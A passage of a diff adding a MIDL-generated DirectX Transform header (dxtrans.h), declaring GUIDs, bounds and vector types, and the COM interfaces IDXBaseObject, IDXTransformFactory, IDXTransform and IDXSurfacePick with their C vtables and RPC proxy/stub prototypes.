__DXSurface_FWD_DEFINED__ */ + + +#ifndef __DXSurfaceModifier_FWD_DEFINED__ +#define __DXSurfaceModifier_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class DXSurfaceModifier DXSurfaceModifier; +#else +typedef struct DXSurfaceModifier DXSurfaceModifier; +#endif /* __cplusplus */ + +#endif /* __DXSurfaceModifier_FWD_DEFINED__ */ + + +#ifndef __DXGradient_FWD_DEFINED__ +#define __DXGradient_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class DXGradient DXGradient; +#else +typedef struct DXGradient DXGradient; +#endif /* __cplusplus */ + +#endif /* __DXGradient_FWD_DEFINED__ */ + + +#ifndef __DXTFilter_FWD_DEFINED__ +#define __DXTFilter_FWD_DEFINED__ + +#ifdef __cplusplus +typedef class DXTFilter DXTFilter; +#else +typedef struct DXTFilter DXTFilter; +#endif /* __cplusplus */ + +#endif /* __DXTFilter_FWD_DEFINED__ */ + + +/* header files for imported files */ +#include "oaidl.h" +#include "ocidl.h" +#include "comcat.h" + +#ifdef __cplusplus +extern "C"{ +#endif + +void * __RPC_USER MIDL_user_allocate(size_t); +void __RPC_USER MIDL_user_free( void * ); + +/* interface __MIDL_itf_dxtrans_0000 */ +/* [local] */ + +#include +#include +#include +#include +#include +#if 0 +// Bogus definition used to make MIDL compiler happy +typedef void DDSURFACEDESC; + +typedef void D3DRMBOX; + +typedef void D3DVECTOR; + +typedef void D3DRMMATRIX4D; + +typedef void *LPSECURITY_ATTRIBUTES; + +#endif +#ifdef _DXTRANSIMPL + #define _DXTRANS_IMPL_EXT _declspec(dllexport) +#else + #define _DXTRANS_IMPL_EXT _declspec(dllimport) +#endif + + + + + + + + + + + + + + + + +// +// All GUIDs for DXTransform are declared in DXTGUID.C in the SDK include directory +// +EXTERN_C const GUID DDPF_RGB1; +EXTERN_C const GUID DDPF_RGB2; +EXTERN_C const GUID DDPF_RGB4; +EXTERN_C const GUID DDPF_RGB8; +EXTERN_C const GUID DDPF_RGB332; +EXTERN_C const GUID DDPF_ARGB4444; +EXTERN_C const GUID DDPF_RGB565; +EXTERN_C const GUID DDPF_BGR565; +EXTERN_C const GUID DDPF_RGB555; +EXTERN_C const GUID DDPF_ARGB1555; +EXTERN_C const GUID DDPF_RGB24; +EXTERN_C const GUID DDPF_BGR24; +EXTERN_C const GUID DDPF_RGB32; +EXTERN_C const GUID DDPF_BGR32; +EXTERN_C const GUID DDPF_ABGR32; +EXTERN_C const GUID DDPF_ARGB32; +EXTERN_C const GUID DDPF_PMARGB32; +EXTERN_C const GUID DDPF_A1; +EXTERN_C const GUID DDPF_A2; +EXTERN_C const GUID DDPF_A4; +EXTERN_C const GUID DDPF_A8; +EXTERN_C const GUID DDPF_Z8; +EXTERN_C const GUID DDPF_Z16; +EXTERN_C const GUID DDPF_Z24; +EXTERN_C const GUID DDPF_Z32; +// +// Component categories +// +EXTERN_C const GUID CATID_DXImageTransform; +EXTERN_C const GUID CATID_DX3DTransform; +EXTERN_C const GUID CATID_DXAuthoringTransform; +EXTERN_C const GUID CATID_DXSurface; +// +// Service IDs +// +EXTERN_C const GUID SID_SDirectDraw; +EXTERN_C const GUID SID_SDirect3DRM; +#define SID_SDXTaskManager CLSID_DXTaskManager +#define SID_SDXSurfaceFactory IID_IDXSurfaceFactory +#define SID_SDXTransformFactory IID_IDXTransformFactory +// +// DXTransforms Core Type Library Version Info +// +#define DXTRANS_TLB_MAJOR_VER 1 +#define DXTRANS_TLB_MINOR_VER 1 + + +extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0000_v0_0_c_ifspec; +extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0000_v0_0_s_ifspec; + +#ifndef __IDXBaseObject_INTERFACE_DEFINED__ +#define __IDXBaseObject_INTERFACE_DEFINED__ + +/* interface IDXBaseObject */ +/* [local][unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IDXBaseObject; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("17B59B2B-9CC8-11d1-9053-00C04FD9189D") + IDXBaseObject : public IUnknown + { + public: + virtual HRESULT STDMETHODCALLTYPE GetGenerationId( + /* [out] */ ULONG *pID) = 0; + + virtual HRESULT STDMETHODCALLTYPE IncrementGenerationId( + /* [in] */ BOOL bRefresh) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetObjectSize( + /* [out] */ ULONG *pcbSize) = 0; + + }; + +#else /* C style interface */ + + typedef struct IDXBaseObjectVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXBaseObject * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXBaseObject * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXBaseObject * This); + + HRESULT ( STDMETHODCALLTYPE *GetGenerationId )( + IDXBaseObject * This, + /* [out] */ ULONG *pID); + + HRESULT ( STDMETHODCALLTYPE *IncrementGenerationId )( + IDXBaseObject * This, + /* [in] */ BOOL bRefresh); + + HRESULT ( STDMETHODCALLTYPE *GetObjectSize )( + IDXBaseObject * This, + /* [out] */ ULONG *pcbSize); + + END_INTERFACE + } IDXBaseObjectVtbl; + + interface IDXBaseObject + { + CONST_VTBL struct IDXBaseObjectVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IDXBaseObject_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IDXBaseObject_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IDXBaseObject_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IDXBaseObject_GetGenerationId(This,pID) \ + (This)->lpVtbl -> GetGenerationId(This,pID) + +#define IDXBaseObject_IncrementGenerationId(This,bRefresh) \ + (This)->lpVtbl -> IncrementGenerationId(This,bRefresh) + +#define IDXBaseObject_GetObjectSize(This,pcbSize) \ + (This)->lpVtbl -> GetObjectSize(This,pcbSize) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE IDXBaseObject_GetGenerationId_Proxy( + IDXBaseObject * This, + /* [out] */ ULONG *pID); + + +void __RPC_STUB IDXBaseObject_GetGenerationId_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXBaseObject_IncrementGenerationId_Proxy( + IDXBaseObject * This, + /* [in] */ BOOL bRefresh); + + +void __RPC_STUB IDXBaseObject_IncrementGenerationId_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXBaseObject_GetObjectSize_Proxy( + IDXBaseObject * This, + /* [out] */ ULONG *pcbSize); + + +void __RPC_STUB IDXBaseObject_GetObjectSize_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IDXBaseObject_INTERFACE_DEFINED__ */ + + +/* interface __MIDL_itf_dxtrans_0260 */ +/* [local] */ + +typedef +enum DXBNDID + { DXB_X = 0, + DXB_Y = 1, + DXB_Z = 2, + DXB_T = 3 + } DXBNDID; + +typedef +enum DXBNDTYPE + { DXBT_DISCRETE = 0, + DXBT_DISCRETE64 = DXBT_DISCRETE + 1, + DXBT_CONTINUOUS = DXBT_DISCRETE64 + 1, + DXBT_CONTINUOUS64 = DXBT_CONTINUOUS + 1 + } DXBNDTYPE; + +typedef struct DXDBND + { + long Min; + long Max; + } DXDBND; + +typedef DXDBND DXDBNDS[ 4 ]; + +typedef struct DXDBND64 + { + LONGLONG Min; + LONGLONG Max; + } DXDBND64; + +typedef DXDBND64 DXDBNDS64[ 4 ]; + +typedef struct DXCBND + { + float Min; + float Max; + } DXCBND; + +typedef DXCBND DXCBNDS[ 4 ]; + +typedef struct DXCBND64 + { + double Min; + double Max; + } DXCBND64; + +typedef DXCBND64 DXCBNDS64[ 4 ]; + +typedef struct DXBNDS + { + DXBNDTYPE eType; + /* [switch_is] */ /* [switch_type] */ union __MIDL___MIDL_itf_dxtrans_0260_0001 + { + /* [case()] */ DXDBND D[ 4 ]; + /* [case()] */ DXDBND64 LD[ 4 ]; + /* [case()] */ DXCBND C[ 4 ]; + /* [case()] */ DXCBND64 LC[ 4 ]; + } u; + } DXBNDS; + +typedef long DXDVEC[ 4 ]; + +typedef LONGLONG DXDVEC64[ 4 ]; + +typedef float DXCVEC[ 4 ]; + +typedef double DXCVEC64[ 4 ]; + +typedef struct DXVEC + { + DXBNDTYPE eType; + /* [switch_is] */ /* [switch_type] */ union __MIDL___MIDL_itf_dxtrans_0260_0002 + { + /* [case()] */ long D[ 4 ]; + /* [case()] */ LONGLONG LD[ 4 ]; + /* [case()] */ float C[ 4 ]; + /* [case()] */ double LC[ 4 ]; + } u; + } DXVEC; + + + +extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0260_v0_0_c_ifspec; +extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0260_v0_0_s_ifspec; + +#ifndef __IDXTransformFactory_INTERFACE_DEFINED__ +#define __IDXTransformFactory_INTERFACE_DEFINED__ + +/* interface IDXTransformFactory */ +/* [local][unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IDXTransformFactory; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("6A950B2B-A971-11d1-81C8-0000F87557DB") + IDXTransformFactory : public IServiceProvider + { + public: + virtual HRESULT STDMETHODCALLTYPE SetService( + /* [in] */ REFGUID guidService, + /* [in] */ IUnknown *pUnkService, + /* [in] */ BOOL bWeakReference) = 0; + + virtual HRESULT STDMETHODCALLTYPE CreateTransform( + /* [size_is][in] */ IUnknown **punkInputs, + /* [in] */ ULONG ulNumInputs, + /* [size_is][in] */ IUnknown **punkOutputs, + /* [in] */ ULONG ulNumOutputs, + /* [in] */ IPropertyBag *pInitProps, + /* [in] */ IErrorLog *pErrLog, + /* [in] */ REFCLSID TransCLSID, + /* [in] */ REFIID TransIID, + /* [iid_is][out] */ void **ppTransform) = 0; + + virtual HRESULT STDMETHODCALLTYPE InitializeTransform( + /* [in] */ IDXTransform *pTransform, + /* [size_is][in] */ IUnknown **punkInputs, + /* [in] */ ULONG ulNumInputs, + /* [size_is][in] */ IUnknown **punkOutputs, + /* [in] */ ULONG ulNumOutputs, + /* [in] */ IPropertyBag *pInitProps, + /* [in] */ IErrorLog *pErrLog) = 0; + + }; + +#else /* C style interface */ + + typedef struct IDXTransformFactoryVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXTransformFactory * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXTransformFactory * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXTransformFactory * This); + + /* [local] */ HRESULT ( STDMETHODCALLTYPE *QueryService )( + IDXTransformFactory * This, + /* [in] */ REFGUID guidService, + /* [in] */ REFIID riid, + /* [out] */ void **ppvObject); + + HRESULT ( STDMETHODCALLTYPE *SetService )( + IDXTransformFactory * This, + /* [in] */ REFGUID guidService, + /* [in] */ IUnknown *pUnkService, + /* [in] */ BOOL bWeakReference); + + HRESULT ( STDMETHODCALLTYPE *CreateTransform )( + IDXTransformFactory * This, + /* [size_is][in] */ IUnknown **punkInputs, + /* [in] */ ULONG ulNumInputs, + /* [size_is][in] */ IUnknown **punkOutputs, + /* [in] */ ULONG ulNumOutputs, + /* [in] */ IPropertyBag *pInitProps, + /* [in] */ IErrorLog *pErrLog, + /* [in] */ REFCLSID TransCLSID, + /* [in] */ REFIID TransIID, + /* [iid_is][out] */ void **ppTransform); + + HRESULT ( STDMETHODCALLTYPE *InitializeTransform )( + IDXTransformFactory * This, + /* [in] */ IDXTransform *pTransform, + /* [size_is][in] */ IUnknown **punkInputs, + /* [in] */ ULONG ulNumInputs, + /* [size_is][in] */ IUnknown **punkOutputs, + /* [in] */ ULONG ulNumOutputs, + /* [in] */ IPropertyBag *pInitProps, + /* [in] */ IErrorLog *pErrLog); + + END_INTERFACE + } IDXTransformFactoryVtbl; + + interface IDXTransformFactory + { + CONST_VTBL struct IDXTransformFactoryVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IDXTransformFactory_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IDXTransformFactory_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IDXTransformFactory_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IDXTransformFactory_QueryService(This,guidService,riid,ppvObject) \ + (This)->lpVtbl -> QueryService(This,guidService,riid,ppvObject) + + +#define IDXTransformFactory_SetService(This,guidService,pUnkService,bWeakReference) \ + (This)->lpVtbl -> SetService(This,guidService,pUnkService,bWeakReference) + +#define IDXTransformFactory_CreateTransform(This,punkInputs,ulNumInputs,punkOutputs,ulNumOutputs,pInitProps,pErrLog,TransCLSID,TransIID,ppTransform) \ + (This)->lpVtbl -> CreateTransform(This,punkInputs,ulNumInputs,punkOutputs,ulNumOutputs,pInitProps,pErrLog,TransCLSID,TransIID,ppTransform) + +#define IDXTransformFactory_InitializeTransform(This,pTransform,punkInputs,ulNumInputs,punkOutputs,ulNumOutputs,pInitProps,pErrLog) \ + (This)->lpVtbl -> InitializeTransform(This,pTransform,punkInputs,ulNumInputs,punkOutputs,ulNumOutputs,pInitProps,pErrLog) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE IDXTransformFactory_SetService_Proxy( + IDXTransformFactory * This, + /* [in] */ REFGUID guidService, + /* [in] */ IUnknown *pUnkService, + /* [in] */ BOOL bWeakReference); + + +void __RPC_STUB IDXTransformFactory_SetService_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXTransformFactory_CreateTransform_Proxy( + IDXTransformFactory * This, + /* [size_is][in] */ IUnknown **punkInputs, + /* [in] */ ULONG ulNumInputs, + /* [size_is][in] */ IUnknown **punkOutputs, + /* [in] */ ULONG ulNumOutputs, + /* [in] */ IPropertyBag *pInitProps, + /* [in] */ IErrorLog *pErrLog, + /* [in] */ REFCLSID TransCLSID, + /* [in] */ REFIID TransIID, + /* [iid_is][out] */ void **ppTransform); + + +void __RPC_STUB IDXTransformFactory_CreateTransform_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXTransformFactory_InitializeTransform_Proxy( + IDXTransformFactory * This, + /* [in] */ IDXTransform *pTransform, + /* [size_is][in] */ IUnknown **punkInputs, + /* [in] */ ULONG ulNumInputs, + /* [size_is][in] */ IUnknown **punkOutputs, + /* [in] */ ULONG ulNumOutputs, + /* [in] */ IPropertyBag *pInitProps, + /* [in] */ IErrorLog *pErrLog); + + +void __RPC_STUB IDXTransformFactory_InitializeTransform_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IDXTransformFactory_INTERFACE_DEFINED__ */ + + +/* interface __MIDL_itf_dxtrans_0261 */ +/* [local] */ + +typedef +enum DXTMISCFLAGS + { DXTMF_BLEND_WITH_OUTPUT = 1L << 0, + DXTMF_DITHER_OUTPUT = 1L << 1, + DXTMF_OPTION_MASK = 0xffff, + DXTMF_VALID_OPTIONS = DXTMF_BLEND_WITH_OUTPUT | DXTMF_DITHER_OUTPUT, + DXTMF_BLEND_SUPPORTED = 1L << 16, + DXTMF_DITHER_SUPPORTED = 1L << 17, + DXTMF_INPLACE_OPERATION = 1L << 24, + DXTMF_BOUNDS_SUPPORTED = 1L << 25, + DXTMF_PLACEMENT_SUPPORTED = 1L << 26, + DXTMF_QUALITY_SUPPORTED = 1L << 27, + DXTMF_OPAQUE_RESULT = 1L << 28 + } DXTMISCFLAGS; + +typedef +enum DXINOUTINFOFLAGS + { DXINOUTF_OPTIONAL = 1L << 0 + } DXINOUTINFOFLAGS; + + + +extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0261_v0_0_c_ifspec; +extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0261_v0_0_s_ifspec; + +#ifndef __IDXTransform_INTERFACE_DEFINED__ +#define __IDXTransform_INTERFACE_DEFINED__ + +/* interface IDXTransform */ +/* [local][unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IDXTransform; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("30A5FB78-E11F-11d1-9064-00C04FD9189D") + IDXTransform : public IDXBaseObject + { + public: + virtual HRESULT STDMETHODCALLTYPE Setup( + /* [size_is][in] */ IUnknown *const *punkInputs, + /* [in] */ ULONG ulNumInputs, + /* [size_is][in] */ IUnknown *const *punkOutputs, + /* [in] */ ULONG ulNumOutputs, + /* [in] */ DWORD dwFlags) = 0; + + virtual HRESULT STDMETHODCALLTYPE Execute( + /* [in] */ const GUID *pRequestID, + /* [in] */ const DXBNDS *pClipBnds, + /* [in] */ const DXVEC *pPlacement) = 0; + + virtual HRESULT STDMETHODCALLTYPE MapBoundsIn2Out( + /* [in] */ const DXBNDS *pInBounds, + /* [in] */ ULONG ulNumInBnds, + /* [in] */ ULONG ulOutIndex, + /* [out] */ DXBNDS *pOutBounds) = 0; + + virtual HRESULT STDMETHODCALLTYPE MapBoundsOut2In( + /* [in] */ ULONG ulOutIndex, + /* [in] */ const DXBNDS *pOutBounds, + /* [in] */ ULONG ulInIndex, + /* [out] */ DXBNDS *pInBounds) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetMiscFlags( + /* [in] */ DWORD dwMiscFlags) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetMiscFlags( + /* [out] */ DWORD *pdwMiscFlags) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetInOutInfo( + /* [in] */ BOOL bIsOutput, + /* [in] */ ULONG ulIndex, + /* [out] */ DWORD *pdwFlags, + /* [size_is][out] */ GUID *pIDs, + /* [out][in] */ ULONG *pcIDs, + /* [out] */ IUnknown **ppUnkCurrentObject) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetQuality( + /* [in] */ float fQuality) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetQuality( + /* [out] */ float *fQuality) = 0; + + }; + +#else /* C style interface */ + + typedef struct IDXTransformVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXTransform * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXTransform * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXTransform * This); + + HRESULT ( STDMETHODCALLTYPE *GetGenerationId )( + IDXTransform * This, + /* [out] */ ULONG *pID); + + HRESULT ( STDMETHODCALLTYPE *IncrementGenerationId )( + IDXTransform * This, + /* [in] */ BOOL bRefresh); + + HRESULT ( STDMETHODCALLTYPE *GetObjectSize )( + IDXTransform * This, + /* [out] */ ULONG *pcbSize); + + HRESULT ( STDMETHODCALLTYPE *Setup )( + IDXTransform * This, + /* [size_is][in] */ IUnknown *const *punkInputs, + /* [in] */ ULONG ulNumInputs, + /* [size_is][in] */ IUnknown *const *punkOutputs, + /* [in] */ ULONG ulNumOutputs, + /* [in] */ DWORD dwFlags); + + HRESULT ( STDMETHODCALLTYPE *Execute )( + IDXTransform * This, + /* [in] */ const GUID *pRequestID, + /* [in] */ const DXBNDS *pClipBnds, + /* [in] */ const DXVEC *pPlacement); + + HRESULT ( STDMETHODCALLTYPE *MapBoundsIn2Out )( + IDXTransform * This, + /* [in] */ const DXBNDS *pInBounds, + /* [in] */ ULONG ulNumInBnds, + /* [in] */ ULONG ulOutIndex, + /* [out] */ DXBNDS *pOutBounds); + + HRESULT ( STDMETHODCALLTYPE *MapBoundsOut2In )( + IDXTransform * This, + /* [in] */ ULONG ulOutIndex, + /* [in] */ const DXBNDS *pOutBounds, + /* [in] */ ULONG ulInIndex, + /* [out] */ DXBNDS *pInBounds); + + HRESULT ( STDMETHODCALLTYPE *SetMiscFlags )( + IDXTransform * This, + /* [in] */ DWORD dwMiscFlags); + + HRESULT ( STDMETHODCALLTYPE *GetMiscFlags )( + IDXTransform * This, + /* [out] */ DWORD *pdwMiscFlags); + + HRESULT ( STDMETHODCALLTYPE *GetInOutInfo )( + IDXTransform * This, + /* [in] */ BOOL bIsOutput, + /* [in] */ ULONG ulIndex, + /* [out] */ DWORD *pdwFlags, + /* [size_is][out] */ GUID *pIDs, + /* [out][in] */ ULONG *pcIDs, + /* [out] */ IUnknown **ppUnkCurrentObject); + + HRESULT ( STDMETHODCALLTYPE *SetQuality )( + IDXTransform * This, + /* [in] */ float fQuality); + + HRESULT ( STDMETHODCALLTYPE *GetQuality )( + IDXTransform * This, + /* [out] */ float *fQuality); + + END_INTERFACE + } IDXTransformVtbl; + + interface IDXTransform + { + CONST_VTBL struct IDXTransformVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IDXTransform_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IDXTransform_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IDXTransform_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IDXTransform_GetGenerationId(This,pID) \ + (This)->lpVtbl -> GetGenerationId(This,pID) + +#define IDXTransform_IncrementGenerationId(This,bRefresh) \ + (This)->lpVtbl -> IncrementGenerationId(This,bRefresh) + +#define IDXTransform_GetObjectSize(This,pcbSize) \ + (This)->lpVtbl -> GetObjectSize(This,pcbSize) + + +#define IDXTransform_Setup(This,punkInputs,ulNumInputs,punkOutputs,ulNumOutputs,dwFlags) \ + (This)->lpVtbl -> Setup(This,punkInputs,ulNumInputs,punkOutputs,ulNumOutputs,dwFlags) + +#define IDXTransform_Execute(This,pRequestID,pClipBnds,pPlacement) \ + (This)->lpVtbl -> Execute(This,pRequestID,pClipBnds,pPlacement) + +#define IDXTransform_MapBoundsIn2Out(This,pInBounds,ulNumInBnds,ulOutIndex,pOutBounds) \ + (This)->lpVtbl -> MapBoundsIn2Out(This,pInBounds,ulNumInBnds,ulOutIndex,pOutBounds) + +#define IDXTransform_MapBoundsOut2In(This,ulOutIndex,pOutBounds,ulInIndex,pInBounds) \ + (This)->lpVtbl -> MapBoundsOut2In(This,ulOutIndex,pOutBounds,ulInIndex,pInBounds) + +#define IDXTransform_SetMiscFlags(This,dwMiscFlags) \ + (This)->lpVtbl -> SetMiscFlags(This,dwMiscFlags) + +#define IDXTransform_GetMiscFlags(This,pdwMiscFlags) \ + (This)->lpVtbl -> GetMiscFlags(This,pdwMiscFlags) + +#define IDXTransform_GetInOutInfo(This,bIsOutput,ulIndex,pdwFlags,pIDs,pcIDs,ppUnkCurrentObject) \ + (This)->lpVtbl -> GetInOutInfo(This,bIsOutput,ulIndex,pdwFlags,pIDs,pcIDs,ppUnkCurrentObject) + +#define IDXTransform_SetQuality(This,fQuality) \ + (This)->lpVtbl -> SetQuality(This,fQuality) + +#define IDXTransform_GetQuality(This,fQuality) \ + (This)->lpVtbl -> GetQuality(This,fQuality) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE IDXTransform_Setup_Proxy( + IDXTransform * This, + /* [size_is][in] */ IUnknown *const *punkInputs, + /* [in] */ ULONG ulNumInputs, + /* [size_is][in] */ IUnknown *const *punkOutputs, + /* [in] */ ULONG ulNumOutputs, + /* [in] */ DWORD dwFlags); + + +void __RPC_STUB IDXTransform_Setup_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXTransform_Execute_Proxy( + IDXTransform * This, + /* [in] */ const GUID *pRequestID, + /* [in] */ const DXBNDS *pClipBnds, + /* [in] */ const DXVEC *pPlacement); + + +void __RPC_STUB IDXTransform_Execute_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXTransform_MapBoundsIn2Out_Proxy( + IDXTransform * This, + /* [in] */ const DXBNDS *pInBounds, + /* [in] */ ULONG ulNumInBnds, + /* [in] */ ULONG ulOutIndex, + /* [out] */ DXBNDS *pOutBounds); + + +void __RPC_STUB IDXTransform_MapBoundsIn2Out_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXTransform_MapBoundsOut2In_Proxy( + IDXTransform * This, + /* [in] */ ULONG ulOutIndex, + /* [in] */ const DXBNDS *pOutBounds, + /* [in] */ ULONG ulInIndex, + /* [out] */ DXBNDS *pInBounds); + + +void __RPC_STUB IDXTransform_MapBoundsOut2In_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXTransform_SetMiscFlags_Proxy( + IDXTransform * This, + /* [in] */ DWORD dwMiscFlags); + + +void __RPC_STUB IDXTransform_SetMiscFlags_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXTransform_GetMiscFlags_Proxy( + IDXTransform * This, + /* [out] */ DWORD *pdwMiscFlags); + + +void __RPC_STUB IDXTransform_GetMiscFlags_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXTransform_GetInOutInfo_Proxy( + IDXTransform * This, + /* [in] */ BOOL bIsOutput, + /* [in] */ ULONG ulIndex, + /* [out] */ DWORD *pdwFlags, + /* [size_is][out] */ GUID *pIDs, + /* [out][in] */ ULONG *pcIDs, + /* [out] */ IUnknown **ppUnkCurrentObject); + + +void __RPC_STUB IDXTransform_GetInOutInfo_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXTransform_SetQuality_Proxy( + IDXTransform * This, + /* [in] */ float fQuality); + + +void __RPC_STUB IDXTransform_SetQuality_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXTransform_GetQuality_Proxy( + IDXTransform * This, + /* [out] */ float *fQuality); + + +void __RPC_STUB IDXTransform_GetQuality_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IDXTransform_INTERFACE_DEFINED__ */ + + +#ifndef __IDXSurfacePick_INTERFACE_DEFINED__ +#define __IDXSurfacePick_INTERFACE_DEFINED__ + +/* interface IDXSurfacePick */ +/* [local][unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IDXSurfacePick; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("30A5FB79-E11F-11d1-9064-00C04FD9189D") + IDXSurfacePick : public IUnknown + { + public: + virtual HRESULT STDMETHODCALLTYPE PointPick( + /* [in] */ const DXVEC *pPoint, + /* [out] */ ULONG *pulInputSurfaceIndex, + /* [out] */ DXVEC *pInputPoint) = 0; + + }; + +#else /* C style interface */ + + typedef struct IDXSurfacePickVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXSurfacePick * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXSurfacePick * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXSurfacePick * This); + + HRESULT ( STDMETHODCALLTYPE *PointPick )( + IDXSurfacePick * This, + /* [in] */ const DXVEC *pPoint, + /* [out] */ ULONG *pulInputSurfaceIndex, + /* [out] */ DXVEC *pInputPoint); + + END_INTERFACE + } IDXSurfacePickVtbl; + + interface IDXSurfacePick + { + CONST_VTBL struct IDXSurfacePickVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IDXSurfacePick_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IDXSurfacePick_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IDXSurfacePick_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IDXSurfacePick_PointPick(This,pPoint,pulInputSurfaceIndex,pInputPoint) \ + (This)->lpVtbl -> PointPick(This,pPoint,pulInputSurfaceIndex,pInputPoint) + +#endif /* 